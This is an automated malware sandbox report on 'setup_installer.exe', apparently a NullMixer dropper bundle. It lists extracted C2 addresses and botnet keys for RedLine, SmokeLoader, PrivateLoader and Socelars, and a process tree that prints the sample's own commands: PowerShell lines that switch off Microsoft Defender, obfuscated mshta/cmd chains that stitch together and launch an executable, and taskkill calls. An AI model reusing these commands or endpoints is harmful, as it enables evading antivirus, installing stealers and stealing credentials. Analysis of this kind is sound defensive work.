Overview

overview

10

Static

static

3

setup_installer.exe

windows10-ltsc_2021-x64

10

Resubmissions

11/04/2026, 10:38

260411-mpdbpsfv3w10

11/04/2026, 10:34

260411-ml7q5scv3n10

22/10/2025, 01:30

251022-bxa1rsfy5g10

22/10/2025, 01:16

251022-bm8jaafy2g10

21/10/2025, 04:51

251021-fhcm9se15h10

21/10/2025, 04:50

251021-fgf93ae15e3

21/10/2025, 04:42

251021-fb3k4sgm5110

21/10/2025, 04:41

251021-fbl85ae14b3

21/10/2025, 04:29

251021-e4ppaagm4y10

14/06/2022, 03:33

220614-d36qqsfhg910

Analysis

  • user interaction
    yes
  • max time kernel
    530s
  • max time network
    531s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260130-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260130-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
  • submitted
    11/04/2026, 10:38

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    setup_installer.exe
  • Size 3.9MB
  • Sample260411-mpdbpsfv3w
  • SHA256 e9642547f9f06a196b29fae38b9abb84331b84d555f8a7d9f4bed7b47b93a9f8
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
aspackv2backdoorchrisnewmedia21sehrish2defense_evasiondiscoverydropperexecutionfabookienullmixerprivateloaderredlinesmokeloadersocelarsinfostealerinstallerloaderpersistencephishingransomwarespywarestealertrojan

Malware Config

Extracted

Family

  • socelars

C2

  • http://www.iyiqian.com/

  • http://www.hbgents.top/

  • http://www.rsnzhy.com/

  • http://www.efxety.top/

Extracted

Family

  • privateloader

C2

  • http://45.133.1.107/server.txt

  • pastebin.com/raw/A7dSG1te

  • http://wfsdragon.ru/api/setStats.php

  • 51.178.186.149

Extracted

Family

  • nullmixer

C2

  • http://wensela.xyz/

Extracted

Family

  • redline

Botnet

  • media21

C2

  • 91.121.67.60:23325

Attributes
  • auth_value

    e37d5065561884bb54c8ed1baa6de446

Extracted

Family

  • redline

Botnet

  • ChrisNEW

C2

  • 194.104.136.5:46013

Attributes
  • auth_value

    9491a1c5e11eb6097e68a4fa8627fda8

Extracted

Family

  • redline

Botnet

  • sehrish2

C2

  • 135.181.129.119:4805

Attributes
  • auth_value

    b69102cdbd4afe2d3159f88fb6dac731

Extracted

Family

  • smokeloader

Version

  • 2020

C2

  • http://directorycart.com/upload/

  • http://tierzahnarzt.at/upload/

  • http://streetofcards.com/upload/

  • http://ycdfzd.com/upload/

  • http://successcoachceo.com/upload/

  • http://uhvu.cn/upload/

  • http://japanarticle.com/upload/

rc4.i32
rc4.i32

Signatures

  • Detect Fabookie payload 1 IoCs
  • Fabookie

    Fabookie is facebook account info stealer.

    spywarestealerfabookie
  • Fabookie family
    fabookie
  • NullMixer

    NullMixer is a malware dropper leading to an infection chain of a wide variety of malware families.

    droppernullmixer
  • Nullmixer family
    nullmixer
  • PrivateLoader

    PrivateLoader is a downloader sold as a pay-per-install malware distribution service.

    loaderprivateloader
  • Privateloader family
    privateloader
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 3 IoCs
  • Redline family
    redline
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Smokeloader family
    smokeloader
  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

    stealersocelars
  • Socelars family
    socelars
  • Socelars payload 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • Downloads MZ/PE file 4 IoCs
  • A potential corporate email address has been identified in the URL: [email protected]
    phishing
  • ASPack v2.12-2.42 3 IoCs

    Detects executables packed with ASPack v2.12-2.42

    aspackv2
  • Checks computer location settings 2 TTPs 7 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 25 IoCs
  • Loads dropped DLL 10 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Contacts third-party web service commonly abused for C2 1 TTPs 7 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Drops Chrome extension 1 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Looks up geolocation information via web service

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 2 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 50 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Time Discovery 1 TTPs 2 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Inno Setup is an open-source installation builder for Windows applications. 5 IoCs

    Inno Setup installer

    installer
  • Checks SCSI registry key(s) 3 TTPs 12 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 8 IoCs
  • Kills process with taskkill 2 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 3 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 54 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1080
    • C:\Users\Admin\AppData\Local\Temp\7zS834A8948\setup_install.exe
      "C:\Users\Admin\AppData\Local\Temp\7zS834A8948\setup_install.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4336
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4024
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2880
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:388
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2912
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c Fri05b95bf93107f1e0a.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5512
        • C:\Users\Admin\AppData\Local\Temp\7zS834A8948\Fri05b95bf93107f1e0a.exe
          Fri05b95bf93107f1e0a.exe
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3008
          • C:\Users\Admin\AppData\Local\Temp\7zS834A8948\Fri05b95bf93107f1e0a.exe
            C:\Users\Admin\AppData\Local\Temp\7zS834A8948\Fri05b95bf93107f1e0a.exe
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:5220
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c Fri05ee592874b8542.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4120
        • C:\Users\Admin\AppData\Local\Temp\7zS834A8948\Fri05ee592874b8542.exe
          Fri05ee592874b8542.exe
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:2144
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c Fri058b74ce36.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4264
        • C:\Users\Admin\AppData\Local\Temp\7zS834A8948\Fri058b74ce36.exe
          Fri058b74ce36.exe
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:344
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c Fri05273a613aa54.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4880
        • C:\Users\Admin\AppData\Local\Temp\7zS834A8948\Fri05273a613aa54.exe
          Fri05273a613aa54.exe
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4396
          • C:\Users\Admin\AppData\Local\Temp\7zS834A8948\Fri05273a613aa54.exe
            C:\Users\Admin\AppData\Local\Temp\7zS834A8948\Fri05273a613aa54.exe
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:3544
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c Fri053a65c426ae3ead3.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2264
        • C:\Users\Admin\AppData\Local\Temp\7zS834A8948\Fri053a65c426ae3ead3.exe
          Fri053a65c426ae3ead3.exe
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Checks SCSI registry key(s)
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          PID:1228
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1228 -s 412
            5⤵
            • Program crash
            PID:4248
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c Fri05634322728.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2792
        • C:\Users\Admin\AppData\Local\Temp\7zS834A8948\Fri05634322728.exe
          Fri05634322728.exe
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:4484
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c Fri05a7d64e94079ff.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:6024
        • C:\Users\Admin\AppData\Local\Temp\7zS834A8948\Fri05a7d64e94079ff.exe
          Fri05a7d64e94079ff.exe
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:5784
          • C:\Windows\SysWOW64\mshta.exe
            "C:\Windows\System32\mshta.exe" vbScRIPT: cLOse ( CreateoBJeCT( "WSCRipT.shell" ). Run( "CMd.exe /q /R coPY /Y ""C:\Users\Admin\AppData\Local\Temp\7zS834A8948\Fri05a7d64e94079ff.exe"" EiV4.Exe &&START EIv4.Exe /pllbp0ygmDYA & if """" == """" for %j IN ( ""C:\Users\Admin\AppData\Local\Temp\7zS834A8948\Fri05a7d64e94079ff.exe"" ) do taskkill -f /im ""%~Nxj"" " , 0 , truE ) )
            5⤵
            • Checks computer location settings
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:3512
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /q /R coPY /Y "C:\Users\Admin\AppData\Local\Temp\7zS834A8948\Fri05a7d64e94079ff.exe" EiV4.Exe &&START EIv4.Exe /pllbp0ygmDYA & if "" == "" for %j IN ( "C:\Users\Admin\AppData\Local\Temp\7zS834A8948\Fri05a7d64e94079ff.exe" ) do taskkill -f /im "%~Nxj"
              6⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:1268
              • C:\Users\Admin\AppData\Local\Temp\EiV4.Exe
                EIv4.Exe /pllbp0ygmDYA
                7⤵
                • Checks computer location settings
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:4324
                • C:\Windows\SysWOW64\mshta.exe
                  "C:\Windows\System32\mshta.exe" vbScRIPT: cLOse ( CreateoBJeCT( "WSCRipT.shell" ). Run( "CMd.exe /q /R coPY /Y ""C:\Users\Admin\AppData\Local\Temp\EiV4.Exe"" EiV4.Exe &&START EIv4.Exe /pllbp0ygmDYA & if ""/pllbp0ygmDYA "" == """" for %j IN ( ""C:\Users\Admin\AppData\Local\Temp\EiV4.Exe"" ) do taskkill -f /im ""%~Nxj"" " , 0 , truE ) )
                  8⤵
                  • Checks computer location settings
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:5952
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /q /R coPY /Y "C:\Users\Admin\AppData\Local\Temp\EiV4.Exe" EiV4.Exe &&START EIv4.Exe /pllbp0ygmDYA & if "/pllbp0ygmDYA " == "" for %j IN ( "C:\Users\Admin\AppData\Local\Temp\EiV4.Exe" ) do taskkill -f /im "%~Nxj"
                    9⤵
                    • System Location Discovery: System Language Discovery
                    PID:3956
                • C:\Windows\SysWOW64\mshta.exe
                  "C:\Windows\System32\mshta.exe" VBscript: clOSe ( creAteOBJECT( "WSCrIPt.sHElL" ). rUn ( "cMD /Q /c EcHo fDuz%RanDOm%hWPV>BPZetK~.NZD & eCho | sEt /P = ""MZ"" > YAnI.V & COPy /Y /b YANI.V + L0YE_.MQ + V3DggE~.P + FAPqTQ.HJ + 51QbM.RF + BPZetK~.NZD W72F~U.S8_ & staRt msiexec /y .\W72F~U.S8_ " , 0 , tRuE ) )
                  8⤵
                  • Checks computer location settings
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:4292
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /Q /c EcHo fDuz%RanDOm%hWPV>BPZetK~.NZD & eCho | sEt /P = "MZ" > YAnI.V & COPy /Y /b YANI.V +L0YE_.MQ + V3DggE~.P + FAPqTQ.HJ +51QbM.RF + BPZetK~.NZD W72F~U.S8_ & staRt msiexec /y .\W72F~U.S8_
                    9⤵
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of WriteProcessMemory
                    PID:1632
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /S /D /c" eCho "
                      10⤵
                      • System Location Discovery: System Language Discovery
                      PID:1328
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /S /D /c" sEt /P = "MZ" 1>YAnI.V"
                      10⤵
                      • System Location Discovery: System Language Discovery
                      PID:5944
                    • C:\Windows\SysWOW64\msiexec.exe
                      msiexec /y .\W72F~U.S8_
                      10⤵
                      • Loads dropped DLL
                      • Badlisted process makes network request
                      • System Location Discovery: System Language Discovery
                      PID:3148
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill -f /im "Fri05a7d64e94079ff.exe"
                7⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:5140
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c Fri05a2fbb59e0d.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4476
        • C:\Users\Admin\AppData\Local\Temp\7zS834A8948\Fri05a2fbb59e0d.exe
          Fri05a2fbb59e0d.exe
          4⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:2128
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c Fri0504e81db1742a103.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:6140
        • C:\Users\Admin\AppData\Local\Temp\7zS834A8948\Fri0504e81db1742a103.exe
          Fri0504e81db1742a103.exe
          4⤵
          • Executes dropped EXE
          PID:4840
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c Fri05331f868c6df3.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2884
        • C:\Users\Admin\AppData\Local\Temp\7zS834A8948\Fri05331f868c6df3.exe
          Fri05331f868c6df3.exe
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:2844
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c Fri052b5520fc0222157.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4480
        • C:\Users\Admin\AppData\Local\Temp\7zS834A8948\Fri052b5520fc0222157.exe
          Fri052b5520fc0222157.exe
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:5568
          • C:\Users\Admin\AppData\Local\Temp\7zS834A8948\Fri052b5520fc0222157.exe
            C:\Users\Admin\AppData\Local\Temp\7zS834A8948\Fri052b5520fc0222157.exe
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:680
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c Fri05a3ef5419b956.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3828
        • C:\Users\Admin\AppData\Local\Temp\7zS834A8948\Fri05a3ef5419b956.exe
          Fri05a3ef5419b956.exe
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4420
          • C:\Users\Admin\AppData\Local\Temp\is-DR1O9.tmp\Fri05a3ef5419b956.tmp
            "C:\Users\Admin\AppData\Local\Temp\is-DR1O9.tmp\Fri05a3ef5419b956.tmp" /SL5="$801D0,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS834A8948\Fri05a3ef5419b956.exe"
            5⤵
            • Checks computer location settings
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1628
            • C:\Users\Admin\AppData\Local\Temp\7zS834A8948\Fri05a3ef5419b956.exe
              "C:\Users\Admin\AppData\Local\Temp\7zS834A8948\Fri05a3ef5419b956.exe" /SILENT
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:2112
              • C:\Users\Admin\AppData\Local\Temp\is-B3SVT.tmp\Fri05a3ef5419b956.tmp
                "C:\Users\Admin\AppData\Local\Temp\is-B3SVT.tmp\Fri05a3ef5419b956.tmp" /SL5="$701D8,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS834A8948\Fri05a3ef5419b956.exe" /SILENT
                7⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Drops file in Program Files directory
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of FindShellTrayWindow
                PID:2628
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c Fri05565a1354c.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4948
        • C:\Users\Admin\AppData\Local\Temp\7zS834A8948\Fri05565a1354c.exe
          Fri05565a1354c.exe
          4⤵
          • Executes dropped EXE
          • Drops Chrome extension
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:5456
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c taskkill /f /im chrome.exe
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:3848
            • C:\Windows\SysWOW64\taskkill.exe
              taskkill /f /im chrome.exe
              6⤵
              • System Location Discovery: System Language Discovery
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:4140
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe"
            5⤵
            • Drops file in Windows directory
            • Checks processor information in registry
            • Enumerates system info in registry
            • Modifies data under HKEY_USERS
            • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            • Suspicious use of WriteProcessMemory
            PID:5464
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7ffa5a7ec728,0x7ffa5a7ec734,0x7ffa5a7ec740
              6⤵
                PID:3820
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1712,i,6090875343059757688,8681828271449559791,262144 --field-trial-handle=2044,i,13707056364291244480,16280057140191602648,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2040 /prefetch:2
                6⤵
                  PID:4440
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2268,i,14813798174478797733,17407677941981920721,524288 --field-trial-handle=2044,i,13707056364291244480,16280057140191602648,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2300 /prefetch:3
                  6⤵
                  • System Time Discovery
                  PID:1968
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2392,i,2408341552638755211,18217128844370726353,524288 --field-trial-handle=2044,i,13707056364291244480,16280057140191602648,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2404 /prefetch:8
                  6⤵
                    PID:2188
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3232,i,12015339135137241366,11855975020286332407,2097152 --field-trial-handle=2044,i,13707056364291244480,16280057140191602648,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3244 /prefetch:1
                    6⤵
                      PID:1680
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3264,i,10962662427262635346,9677567460955741039,2097152 --field-trial-handle=2044,i,13707056364291244480,16280057140191602648,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3292 /prefetch:1
                      6⤵
                        PID:2848
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4272,i,11493667854644771005,8670774669025221240,2097152 --field-trial-handle=2044,i,13707056364291244480,16280057140191602648,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4296 /prefetch:2
                        6⤵
                          PID:3540
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4472,i,14200926897944828365,5110553850645622540,2097152 --field-trial-handle=2044,i,13707056364291244480,16280057140191602648,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4584 /prefetch:1
                          6⤵
                            PID:1124
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5624,i,4306433754309850244,17004786615955799400,2097152 --field-trial-handle=2044,i,13707056364291244480,16280057140191602648,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5648 /prefetch:1
                            6⤵
                              PID:5816
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5628,i,10567379390638329836,7238437464770153807,2097152 --field-trial-handle=2044,i,13707056364291244480,16280057140191602648,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5680 /prefetch:1
                              6⤵
                                PID:6096
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=6076,i,16960893442738463581,12191765240526084499,524288 --field-trial-handle=2044,i,13707056364291244480,16280057140191602648,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=6072 /prefetch:8
                                6⤵
                                  PID:2684
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=6216,i,17599599811154695420,5513279571354361660,2097152 --field-trial-handle=2044,i,13707056364291244480,16280057140191602648,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=6260 /prefetch:1
                                  6⤵
